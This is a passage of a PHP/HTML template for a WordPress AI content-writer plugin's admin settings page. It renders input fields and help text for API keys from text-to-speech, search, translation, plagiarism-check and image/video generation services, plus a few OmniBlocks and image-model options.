<tr> <th> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo sprintf( wp_kses( __( "Insert your ElevenLabs API Key. For ElevenLabs API, get your API key <a href='%s' target='_blank'>here</a>. This is used for the Chatbot text to speech feature.", 'aiomatic-automatic-ai-content-writer'), array( 'a' => array( 'href' => array(), 'target' => array() ) ) ), 'https://beta.elevenlabs.io/speech-synthesis' ); ?> </div> </div> <b><a href='https://beta.elevenlabs.io/speech-synthesis' target='_blank'><?php echo esc_html__("ElevenLabs.io", 'aiomatic-automatic-ai-content-writer');?></a> <?php echo esc_html__("API Key:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </th> <td> <div> <textarea rows="2" class="cr_textarea_pass cr_width_full" autocomplete="off" id="elevenlabs_app_id" name="aiomatic_Main_Settings[elevenlabs_app_id]" placeholder="<?php echo esc_html__("Please insert your ElevenLabs.io API Key", 'aiomatic-automatic-ai-content-writer');?>"><?php echo esc_textarea($elevenlabs_app_id); ?></textarea> </div> </td> </tr> <tr> <th> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo sprintf( wp_kses( __( "Insert your Google Text-to-Speech API Key. For Google API, get your API key <a href='%s' target='_blank'>here</a>. This is used for the Chatbot text to speech feature.", 'aiomatic-automatic-ai-content-writer'), array( 'a' => array( 'href' => array(), 'target' => array() ) ) ), 'https://cloud.google.com/text-to-speech' ); ?> </div> </div> <b><a href='https://cloud.google.com/text-to-speech' target='_blank'><?php echo esc_html__("Google Text-to-Speech", 'aiomatic-automatic-ai-content-writer');?></a> <?php echo esc_html__("API Key:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </th> <td> <div> <textarea rows="2" class="cr_textarea_pass cr_width_full" autocomplete="off" id="google_app_id" name="aiomatic_Main_Settings[google_app_id]" placeholder="<?php echo esc_html__("Please insert your Google Text-to-Speech API Key", 'aiomatic-automatic-ai-content-writer');?>"><?php echo esc_textarea($google_app_id); ?></textarea> </div> </td> </tr> <tr class="aiomatic-title-holder"><td colspan="2"><h2 class="aiomatic-inner-title"><?php echo esc_html__("Text-to-Video API Settings:", 'aiomatic-automatic-ai-content-writer');?></h2></td></tr> <tr> <th> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo sprintf( wp_kses( __( "Insert your D-ID API Key. For D-ID API, get your API key <a href='%s' target='_blank'>here</a>. This is used for the Chatbot text to video feature.", 'aiomatic-automatic-ai-content-writer'), array( 'a' => array( 'href' => array(), 'target' => array() ) ) ), 'https://studio.d-id.com/account-settings' ); ?> </div> </div> <b><a href='https://studio.d-id.com/account-settings' target='_blank'><?php echo esc_html__("D-ID", 'aiomatic-automatic-ai-content-writer');?></a> <?php echo esc_html__("API Key:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </th> <td> <div> <textarea rows="2" class="cr_textarea_pass cr_width_full" autocomplete="off" id="did_app_id" name="aiomatic_Main_Settings[did_app_id]" placeholder="<?php echo esc_html__("Please insert your D-ID API Key", 'aiomatic-automatic-ai-content-writer');?>"><?php echo esc_textarea($did_app_id); ?></textarea> </div> </td> </tr> <tr class="aiomatic-title-holder"><td colspan="2"><h2 class="aiomatic-inner-title"><?php echo esc_html__("Internet Access / Related Headings API Keys:", 'aiomatic-automatic-ai-content-writer');?></h2></td></tr> <tr> <th> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo sprintf( wp_kses( __( "Only For Internet Access, Not Related Headings. If you wish to use the Google Search feature of the plugin when scraping keywords, enter a Google Search API key here. Get one <a href='%s' target='_blank'>here</a>. Please enable the 'Custom Search API' in <a href='%s' target='_blank'>Google Cloud Console</a>. Also, to search the entire web for results, please follow <a href='%s' target='_blank'>this tutorial</a>. The search engine feature will work even without entering an API key here, but in this case, the Bing API will be used.", 'aiomatic-automatic-ai-content-writer'), array( 'a' => array( 'href' => array(), 'target' => array() ) ) ), 'https://console.cloud.google.com/apis/credentials', 'https://console.cloud.google.com/marketplace/browse?q=custom%20search%20api', 'https://coderevolution.ro/knowledge-base/faq/how-to-create-a-google-custom-search-engine-that-searches-the-entire-web/' ); ?> </div> </div> <b><a href="https://console.cloud.google.com/apis/credentials" target="_blank"><?php echo esc_html__("Google SERP API Key", 'aiomatic-automatic-ai-content-writer');?>:</a></b> </div> </th> <td> <div> <input type="password" autocomplete="off" id="google_search_api" placeholder="<?php echo esc_html__("API Key (optional)", 'aiomatic-automatic-ai-content-writer');?>" name="aiomatic_Main_Settings[google_search_api]" class="cr_width_full" value="<?php echo esc_html($google_search_api); ?>"/> </div> </td> </tr> <tr> <th> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo sprintf( wp_kses( __( "Only For Internet Access, Not Related Headings. To get the Google API Search Engine ID (CX value), go to <a href='%s' target='_blank'>%s</a> 2. Select your search engine or Create one and go click on it. 3. You can find the CX id titled as \"Search engine ID\" 4. Public URL also has the cx id in the Query param as ?cx=**** here. Also, to search the entire web for results, please follow <a href='%s' target='_blank'>this tutorial</a>.", 'aiomatic-automatic-ai-content-writer'), array( 'a' => array( 'href' => array(), 'target' => array() ) ) ), 'https://cse.google.com/all', 'https://cse.google.com/all', 'https://coderevolution.ro/knowledge-base/faq/how-to-create-a-google-custom-search-engine-that-searches-the-entire-web/'); ?> </div> </div> <b><a href="https://cse.google.com/all" target="_blank"><?php echo esc_html__("Google SERP API Search Engine ID (CX Value)", 'aiomatic-automatic-ai-content-writer');?>:</a></b> </div> </th> <td> <div> <input type="text" autocomplete="off" id="google_search_cx" placeholder="<?php echo esc_html__("API CX Value (optional)", 'aiomatic-automatic-ai-content-writer');?>" class="cr_width_full" name="aiomatic_Main_Settings[google_search_cx]" value="<?php echo esc_html($google_search_cx); ?>"/> </div> </td> </tr> <tr><td colspan="2"><hr/></td></tr> <tr> <th> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo sprintf( wp_kses( __( "Used for Related Headings & AI Internet Access. If you want to use SerpAPI to get the related headings for the created posts, you must add your API key here. By default, the plugin scrapes Bing Search for related queries. Get your API key <a href='%s' target='_blank'>here</a>.", 'aiomatic-automatic-ai-content-writer'), array( 'a' => array( 'href' => array(), 'target' => array() ) ) ), 'https://serpapi.com/manage-api-key'); ?> </div> </div> <b><a href="https://serpapi.com/manage-api-key" target="_blank"><?php echo esc_html__("SerpAPI API Key (Optional)", 'aiomatic-automatic-ai-content-writer');?>:</a></b> </div> </th> <td> <div> <input type="password" autocomplete="off" id="serpapi_auth" placeholder="<?php echo esc_html__("SerpAPI Key (optional)", 'aiomatic-automatic-ai-content-writer');?>" name="aiomatic_Main_Settings[serpapi_auth]" value="<?php echo esc_html($serpapi_auth); ?>" class="cr_width_full"/> </div> </td> </tr> <tr><td colspan="2"><hr/></td></tr> <tr> <th> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo sprintf( wp_kses( __( "Used for Related Headings & AI Internet Access. If you want to use ValueSERP to get the related headings for the created posts, you must add your API key here. By default, the plugin scrapes Bing Search for related queries. Get your API key <a href='%s' target='_blank'>here</a>.", 'aiomatic-automatic-ai-content-writer'), array( 'a' => array( 'href' => array(), 'target' => array() ) ) ), 'https://app.valueserp.com/playground'); ?> </div> </div> <b><a href="https://app.valueserp.com/playground" target="_blank"><?php echo esc_html__("ValueSERP API Key (Optional)", 'aiomatic-automatic-ai-content-writer');?>:</a></b> </div> </th> <td> <div> <input type="password" autocomplete="off" id="valueserp_auth" placeholder="<?php echo esc_html__("ValueSERP Key (optional)", 'aiomatic-automatic-ai-content-writer');?>" name="aiomatic_Main_Settings[valueserp_auth]" value="<?php echo esc_html($valueserp_auth); ?>" class="cr_width_full"/> </div> </td> </tr> <tr class="aiomatic-title-holder"><td colspan="2"><h2 class="aiomatic-inner-title"><?php echo esc_html__("NLP API Key:", 'aiomatic-automatic-ai-content-writer');?></h2></td></tr> <tr> <th> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo sprintf( wp_kses( __( "Used for Relevant Keyword Extraction From Text. Insert your TextRazor API Key. Learn how to get one <a href='%s' target='_blank'>here</a>. This is used when extracting relevant keywords from longer texts. Adding an API key here can greatly improve royalty free image accuracy.", 'aiomatic-automatic-ai-content-writer'), array( 'a' => array( 'href' => array(), 'target' => array() ) ) ), 'https://www.textrazor.com/console' ); ?> </div> </div> <b><a href="https://www.textrazor.com/console" target="_blank"><?php echo esc_html__("TextRazor API Key List (Optional):", 'aiomatic-automatic-ai-content-writer');?></a></b> </div> </th> <td> <div> <input type="password" autocomplete="off" id="textrazor_key" name="aiomatic_Main_Settings[textrazor_key]" value="<?php echo esc_html($textrazor_key); ?>" class="cr_width_full" placeholder="<?php echo esc_html__("Please insert your TextRazor API Key", 'aiomatic-automatic-ai-content-writer');?>"> </div> </td> </tr> <tr><td colspan="2"><hr/></td></tr> <tr> <th> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo sprintf( wp_kses( __( "Used for Relevant Keyword Extraction From Text. Insert your NeuronWriter API Key. Learn how to get one <a href='%s' target='_blank'>here</a>. This is used when extracting relevant keywords from longer texts.", 'aiomatic-automatic-ai-content-writer'), array( 'a' => array( 'href' => array(), 'target' => array() ) ) ), 'https://contadu.crisp.help/en/article/neuronwriter-api-how-to-use-2ds6hx/' ); ?> </div> </div> <b><a href="https://contadu.crisp.help/en/article/neuronwriter-api-how-to-use-2ds6hx/" target="_blank"><?php echo esc_html__("NeuronWriter API Key (Optional):", 'aiomatic-automatic-ai-content-writer');?></a></b> </div> </th> <td> <div> <input type="password" autocomplete="off" id="neuron_key" name="aiomatic_Main_Settings[neuron_key]" value="<?php echo esc_html($neuron_key); ?>" class="cr_width_full" placeholder="<?php echo esc_html__("Please insert your NeuronWriter API Key", 'aiomatic-automatic-ai-content-writer');?>"> </div> </td> </tr> <tr> <th> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo sprintf( wp_kses( __( "Insert your NeuronWriter Project ID. The ID of your project taken from project's URL: https://app.neuronwriter.com/project/view/75a454f6ae5976e8 -> e95fdd229fd98c10", 'aiomatic-automatic-ai-content-writer'), array( 'a' => array( 'href' => array(), 'target' => array() ) ) )); ?> </div> </div> <b><?php echo esc_html__("NeuronWriter Project ID:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </th> <td> <div> <input type="text" autocomplete="off" id="neuron_project" name="aiomatic_Main_Settings[neuron_project]" value="<?php echo esc_html($neuron_project); ?>" class="cr_width_full" placeholder="<?php echo esc_html__("Please insert your NeuronWriter Project ID", 'aiomatic-automatic-ai-content-writer');?>"> </div> </td> </tr> <tr class="aiomatic-title-holder"><td colspan="2"><h2 class="aiomatic-inner-title"><?php echo esc_html__("Plagiarism Checker/AI Detector API Key:", 'aiomatic-automatic-ai-content-writer');?></h2></td></tr> <tr> <th> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo sprintf( wp_kses( __( "Insert your PlagiarismCheck API Key. Learn how to get one <a href='%s' target='_blank'>here</a>.", 'aiomatic-automatic-ai-content-writer'), array( 'a' => array( 'href' => array(), 'target' => array() ) ) ), 'https://plagiarismcheck.org/' ); ?> </div> </div> <b><a href="https://plagiarismcheck.org/" target="_blank"><?php echo esc_html__("PlagiarismCheck API Key List (Optional):", 'aiomatic-automatic-ai-content-writer');?></a></b> </div> </th> <td> <div> <input type="password" autocomplete="off" id="plagiarism_api" name="aiomatic_Main_Settings[plagiarism_api]" value="<?php echo esc_html($plagiarism_api); ?>" class="cr_width_full" placeholder="<?php echo esc_html__("Please insert your PlagiarismCheck API Key", 'aiomatic-automatic-ai-content-writer');?>"> </div> </td> </tr> <tr class="aiomatic-title-holder"><td colspan="2"><h2 class="aiomatic-inner-title"><?php echo esc_html__("Amazon API Settings (Optional):", 'aiomatic-automatic-ai-content-writer');?></h2></td></tr> <?php if (!is_plugin_active('aiomatic-extension-amazon-api/aiomatic-extension-amazon-api.php')) { echo ('<tr><td colspan="2"><b>You need to install and enable the \'<a href="https://coderevolution.ro/product/aiomatic-extension-amazon-api/" target="_blank">Aiomatic Extension: Amazon API</a>\' plugin for this feature to work!</b></td></tr>'); } else { ?> <tr> <th> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo sprintf( wp_kses( __( 'Insert your Amazon Access Key ID. Learn how to get one <a href=\'%s\' target=\'_blank\'>here</a>. Also, you need to sign up for Amazon Affiliate program <a href=\'%s\' target=\'_blank\'>here</a>. If you do not enter a value here, the plugin will use direct scraping method to get products.', 'aiomatic-automatic-ai-content-writer'), array( 'a' => array( 'href' => array(), 'target' => array() ) ) ), esc_url_raw( 'https://console.aws.amazon.com/iam/home?#/security_credential' ), esc_url_raw( 'https://affiliate-program.amazon.com/assoc_credentials/home' ) ); ?> </div> </div> <b><a href="https://console.aws.amazon.com/iam/home?#/security_credential" target="_blank"><?php echo esc_html__("Amazon Access Key ID (Optional):", 'aiomatic-automatic-ai-content-writer');?></a></b> </div> </th> <td> <div> <input type="text" id="amazon_app_id" name="aiomatic_Main_Settings[amazon_app_id]" value="<?php echo esc_html($amazon_app_id); ?>" class="cr_width_full" placeholder="<?php echo esc_html__("Please insert your Amazon App ID", 'aiomatic-automatic-ai-content-writer');?>"> </div> </td> </tr> <tr> <th> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo sprintf( wp_kses( __( 'Insert your Amazon Secret Access Key. Learn how to get one <a href=\'%s\' target=\'_blank\'>here</a>. Also, you need to sign up for Amazon Affiliate program <a href=\'%s\' target=\'_blank\'>here</a>. If you do not enter a value here, the plugin will use direct scraping method to get products.', 'aiomatic-automatic-ai-content-writer'), array( 'a' => array( 'href' => array(), 'target' => array() ) ) ), esc_url_raw( 'https://console.aws.amazon.com/iam/home?#/security_credential' ), esc_url_raw( 'https://affiliate-program.amazon.com/assoc_credentials/home' ) ); ?> </div> </div> <b><a href="https://console.aws.amazon.com/iam/home?#/security_credential" target="_blank"><?php echo esc_html__("Amazon Secret Access Key (Optional):", 'aiomatic-automatic-ai-content-writer');?></a></b> </div> </th> <td> <div> <input type="password" autocomplete="off" id="amazon_app_secret" name="aiomatic_Main_Settings[amazon_app_secret]" value="<?php echo esc_html($amazon_app_secret); ?>" class="cr_width_full" placeholder="<?php echo esc_html__("Please insert your Amazon App Secret", 'aiomatic-automatic-ai-content-writer');?>"> </div> </td> </tr> <?php } ?> <tr class="aiomatic-title-holder"><td colspan="2"><h2 class="aiomatic-inner-title"><?php echo esc_html__("Related Video Search API Key:", 'aiomatic-automatic-ai-content-writer');?></h2></td></tr> <tr> <th> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo sprintf( wp_kses( __( "Used for Related Videos. Insert your YouTube API Key. Learn how to get one <a href='%s' target='_blank'>here</a>. This is used when adding YouTube videos to your post content. You can also enter a comma separated list of multiple API keys. This is optional, the Related Videos feature will work also without an API key entered.", 'aiomatic-automatic-ai-content-writer'), array( 'a' => array( 'href' => array(), 'target' => array() ) ) ), 'https://console.cloud.google.com/apis/credentials' ); ?> </div> </div> <b><a href="https://console.cloud.google.com/apis/credentials" target="_blank"><?php echo esc_html__("YouTube API Key List (Optional):", 'aiomatic-automatic-ai-content-writer');?></a></b> </div> </th> <td> <div> <input type="password" autocomplete="off" id="yt_app_id" name="aiomatic_Main_Settings[yt_app_id]" value="<?php echo esc_html($yt_app_id); ?>" class="cr_width_full" placeholder="<?php echo esc_html__("Please insert your YouTube API Key. You can also insert a list of comma separated API keys. The plugin will select one to user, each time when it runs, at random.", 'aiomatic-automatic-ai-content-writer');?>"> </div> </td> </tr> <tr class="aiomatic-title-holder"><td colspan="2"><h2 class="aiomatic-inner-title"><?php echo esc_html__("Translation Services API Keys:", 'aiomatic-automatic-ai-content-writer');?></h2></td></tr> <tr> <th> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo sprintf( wp_kses( __( "If you wish to use the official version of the Google Translator API for translation, you must enter first a Google API Key. Get one <a href='%s' target='_blank'>here</a>. Please enable the 'Cloud Translation API' in <a href='%s' target='_blank'>Google Cloud Console</a>. Translation will work even without even without entering an API key here, but in this case, an unofficial Google Translate API will be used.", 'aiomatic-automatic-ai-content-writer'), array( 'a' => array( 'href' => array(), 'target' => array() ) ) ), 'https://console.cloud.google.com/apis/credentials', 'https://console.cloud.google.com/marketplace/browse?q=translate' ); ?> </div> </div> <b><a href="https://console.cloud.google.com/apis/credentials" target="_blank"><?php echo esc_html__("Google Translator API Key (Optional)", 'aiomatic-automatic-ai-content-writer');?>:</a></b> </div> </th> <td> <div> <input type="password" autocomplete="off" id="google_trans_auth" placeholder="<?php echo esc_html__("API Key (optional)", 'aiomatic-automatic-ai-content-writer');?>" name="aiomatic_Main_Settings[google_trans_auth]" value="<?php echo esc_html($google_trans_auth); ?>" class="cr_width_full"/> </div> </td> </tr> <tr><td colspan="2"><hr/></td></tr> <tr> <th> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo sprintf( wp_kses( __( "If you wish to use DeepL for translation, you must enter first a DeepL 'Authentication Key'. Get one <a href='%s' target='_blank'>here</a>. If you enter a value here, new options will become available in the 'Automatically Translate Content To' and 'Source Language' fields.", 'aiomatic-automatic-ai-content-writer'), array( 'a' => array( 'href' => array(), 'target' => array() ) ) ), 'https://www.deepl.com/subscription.html' ); ?> </div> </div> <b><a href="https://www.deepl.com/subscription.html" target="_blank"><?php echo esc_html__("DeepL Translator Authentication Key (Optional)", 'aiomatic-automatic-ai-content-writer');?>:</a></b> </div> </th> <td> <div> <input type="password" autocomplete="off" id="deepl_auth" placeholder="<?php echo esc_html__("Auth key (optional)", 'aiomatic-automatic-ai-content-writer');?>" name="aiomatic_Main_Settings[deepl_auth]" value="<?php echo esc_html($deepl_auth); ?>" class="cr_width_full"/> </div> </td> </tr> <tr> <th> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Check this checkbox if the above API key is a DeepL free plan key. If it is a PRO key, please uncheck this checkbox.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("The Above Is A DeepL Free API Key:", 'aiomatic-automatic-ai-content-writer');?></b> </th> <td> <label class="aiomatic-switch"><input type="checkbox" id="deppl_free" name="aiomatic_Main_Settings[deppl_free]"<?php if ($deppl_free == 'on') echo ' checked '; ?>><span class="aiomatic-slider round"></span></label> </td> </tr> <tr><td colspan="2"><hr/></td></tr> <tr> <th> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo sprintf( wp_kses( __( "If you wish to use Microsoft for translation, you must enter first a Microsoft 'Access Key'. Learn how to get one <a href='%s' target='_blank'>here</a>. If you enter a value here, new options will become available in the 'Automatically Translate Content To' and 'Source Language' fields.", 'aiomatic-automatic-ai-content-writer'), array( 'a' => array( 'href' => array(), 'target' => array() ) ) ), 'https://coderevolution.ro/knowledge-base/faq/how-to-create-a-microsoft-translator-api-key-from-using-azure-control-panel/' ); ?> </div> </div> <b><a href="https://coderevolution.ro/knowledge-base/faq/how-to-create-a-microsoft-translator-api-key-from-using-azure-control-panel/" target="_blank"><?php echo esc_html__("Microsoft Translator Access Key (Optional)", 'aiomatic-automatic-ai-content-writer');?>:</a></b> </div> </th> <td> <div> <input type="password" autocomplete="off" id="bing_auth" placeholder="<?php echo esc_html__("Access key (optional)", 'aiomatic-automatic-ai-content-writer');?>" name="aiomatic_Main_Settings[bing_auth]" value="<?php echo esc_html($bing_auth); ?>" class="cr_width_full"/> </div> </td> </tr> <tr> <th> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo sprintf( wp_kses( __( "If you selected a specific region in your Azure Microsoft account, you must enter it here. Learn more <a href='%s' target='_blank'>here</a>. The default is global.", 'aiomatic-automatic-ai-content-writer'), array( 'a' => array( 'href' => array(), 'target' => array() ) ) ), 'https://coderevolution.ro/knowledge-base/faq/how-to-create-a-microsoft-translator-api-key-from-using-azure-control-panel/' ); ?> </div> </div> <b><a href="https://coderevolution.ro/knowledge-base/faq/how-to-create-a-microsoft-translator-api-key-from-using-azure-control-panel/" target="_blank"><?php echo esc_html__("Microsoft Translator Region Code (Optional)", 'aiomatic-automatic-ai-content-writer');?>:</a></b> </div> </th> <td> <div> <input type="text" id="bing_region" placeholder="<?php echo esc_html__("global", 'aiomatic-automatic-ai-content-writer');?>" name="aiomatic_Main_Settings[bing_region]" value="<?php echo esc_html($bing_region); ?>" class="cr_width_full"/> </div> </td> </tr> </table> </div> <div id="tab-32<?php if($is_activated !== true && $is_activated !== 2){echo 'x';}?>" class="tab-content"> <h3><?php echo esc_html__('OmniBlocks Settings', 'aiomatic-automatic-ai-content-writer');?></h3> <p class="aiomatic-settings-desc"><?php echo esc_html__("Allows you to fine-tune some of the settings offered by the most advanced part of the plugin, the 'OmniBlocks' functionality.", 'aiomatic-automatic-ai-content-writer'); ?></p> <table class="widefat"> <tr class="aiomatic-title-holder"><td colspan="2"><h2 class="aiomatic-inner-title"><?php echo esc_html__("Advanced OmniBlocks Options:", 'aiomatic-automatic-ai-content-writer');?></h2></td></tr> <tr> <th> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Do you want to enable OmniBlocks webhook functionality? This will enable the Webhook OmniBlock type to automatically recieve requests from external sources, using a speicific webhook URL.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Enable OmniBlocks Webhook Functionality:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </th> <td> <div> <label class="aiomatic-switch"><input type="checkbox" id="omni_webhook" name="aiomatic_Main_Settings[omni_webhook]"<?php if ($omni_webhook == 'on') echo ' checked '; ?>><span class="aiomatic-slider round"></span></label> </div> </td> </tr> <tr> <th> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Do you want to enable OmniBlocks result caching for some OmniBlock types, like the Website Scraper OmniBlock or the RSS Scraper OmniBlock. If this is checked, multiple OmniBlocks in the same queue will use the same data (from caching) and will not download the same website multiple times.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Enable OmniBlocks Result Caching:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </th> <td> <div> <label class="aiomatic-switch"><input type="checkbox" id="omni_caching" name="aiomatic_Main_Settings[omni_caching]"<?php if ($omni_caching == 'on') echo ' checked '; ?>><span class="aiomatic-slider round"></span></label> </div> </td> </tr> </table> </div> <div id="tab-31<?php if($is_activated !== true && $is_activated !== 2){echo 'x';}?>" class="tab-content"> <h3><?php echo esc_html__('AI Video Settings', 'aiomatic-automatic-ai-content-writer');?></h3> <p class="aiomatic-settings-desc"><?php echo esc_html__("The 'AI Videos' tab provides settings for the tools which are used to generate and manage AI-created video content.", 'aiomatic-automatic-ai-content-writer'); ?></p> <table class="widefat"> <tr class="aiomatic-title-holder"><td colspan="2"><h2 class="aiomatic-inner-title"><?php echo esc_html__("Stability.AI Video API Settings:", 'aiomatic-automatic-ai-content-writer');?></h2></td></tr> <tr> <th> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("How strongly the video sticks to the original image. Use lower values to allow the model more freedom to make changes and higher values to correct motion distortions.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Video CFG Scale:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </th> <td> <div> <input type="number" min="0" max="10" step="0.1" id="video_cfg_scale" placeholder="<?php echo esc_html__("2.5", 'aiomatic-automatic-ai-content-writer');?>" name="aiomatic_Main_Settings[video_cfg_scale]" value="<?php echo esc_html($video_cfg_scale); ?>" class="cr_width_full"/> </div> </td> </tr> <tr> <th> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Lower values generally result in less motion in the output video, while higher values generally result in more motion. This parameter corresponds to the motion_bucket_id parameter from the paper.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Video Motion Bucket ID:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </th> <td> <div> <input type="number" min="1" step="1" max="255" name="aiomatic_Main_Settings[motion_bucket_id]" value="<?php echo esc_html($motion_bucket_id);?>" placeholder="<?php echo esc_html__("1-255", 'aiomatic-automatic-ai-content-writer');?>" class="cr_width_full"> </div> </td> </tr> </table> </div> <div id="tab-4<?php if($is_activated !== true && $is_activated !== 2){echo 'x';}?>" class="tab-content"> <h3><?php echo esc_html__('AI Image Settings', 'aiomatic-automatic-ai-content-writer');?></h3> <p class="aiomatic-settings-desc"><?php echo esc_html__("The 'AI Images' tab provides settings for the tools which are used to generate and manage AI-created visual content, enhancing your WordPress site with automated and customizable image solutions.", 'aiomatic-automatic-ai-content-writer'); ?></p> <table class="widefat"> <tr class="aiomatic-title-holder"><td colspan="2"><h2 class="aiomatic-inner-title"><?php echo esc_html__("Dall-E AI Image Generator Settings:", 'aiomatic-automatic-ai-content-writer');?></h2></td></tr> <tr> <th> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("The style of the generated images. Must be one of vivid or natural. Vivid causes the model to lean towards generating hyper-real and dramatic images. Natural causes the model to produce more natural, less hyper-real looking images. This param is only supported for dall-e-3.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Dall-E 3 Image Style:", 'aiomatic-automatic-ai-content-writer');?></b> </th> <td> <select id="dalle_style" name="aiomatic_Main_Settings[dalle_style]" class="cr_width_full"> <option value="vivid"<?php if ($dalle_style == "vivid") { echo " selected"; } ?>><?php echo esc_html__("Vivid", 'aiomatic-automatic-ai-content-writer');?></option> <option value="natural"<?php if ($dalle_style == "natural") { echo " selected"; } ?>><?php echo esc_html__("Natural", 'aiomatic-automatic-ai-content-writer');?></option> </select> </td> </tr> <tr class="aiomatic-title-holder"><td colspan="2"><h2 class="aiomatic-inner-title"><?php echo esc_html__("Midjourney API Settings:", 'aiomatic-automatic-ai-content-writer');?></h2></td></tr> <tr> <th> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set what model to use when generating images. Default is fast.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Image Model:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </th> <td> <div> <select id="midjourney_image_model" name="aiomatic_Main_Settings[midjourney_image_model]" class="cr_width_full"> <?php $midjourney_image_models = ['relax', 'fast', 'turbo']; foreach($midjourney_image_models as $sm) { echo '<option value="' . esc_attr($sm) . '"'; if ($midjourney_image_model == $sm) { echo " selected"; } echo '>' . esc_html($sm) . '</option>'; } ?> </select> </div> </td> </tr> <tr class="aiomatic-title-holder"><td colspan="2"><h2 class="aiomatic-inner-title"><?php echo esc_html__("Stability.AI API Settings:", 'aiomatic-automatic-ai-content-writer');?></h2></td></tr> <tr> <th> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set what model to use when generating images. Default is ", 'aiomatic-automatic-ai-content-writer') . AIOMATIC_STABLE_DEFAULT_MODE; ?> </div> </div> <b><?php echo esc_html__("Image Model:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </th> <td> <div> <select id="stable_model" name="aiomatic_Main_Settings[stable_model]" class="cr_width_full"> <?php $stable_models = aiomatic_get_stable_image_models(); foreach($stable_models as $sm) { echo '<option value="' . esc_attr($sm) . '"'; if ($stable_model == $sm) { echo " selected"; } echo '>' . esc_html($sm) . '</option>'; } ?> </select> </div> </td> </tr> <tr> <th> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Number of diffusion steps to run. Default is 50.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Sampling Steps:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </th> <td> <div> <input type="number" min="10" step="1" max="250" name="aiomatic_Main_Settings[steps]" value="<?php echo 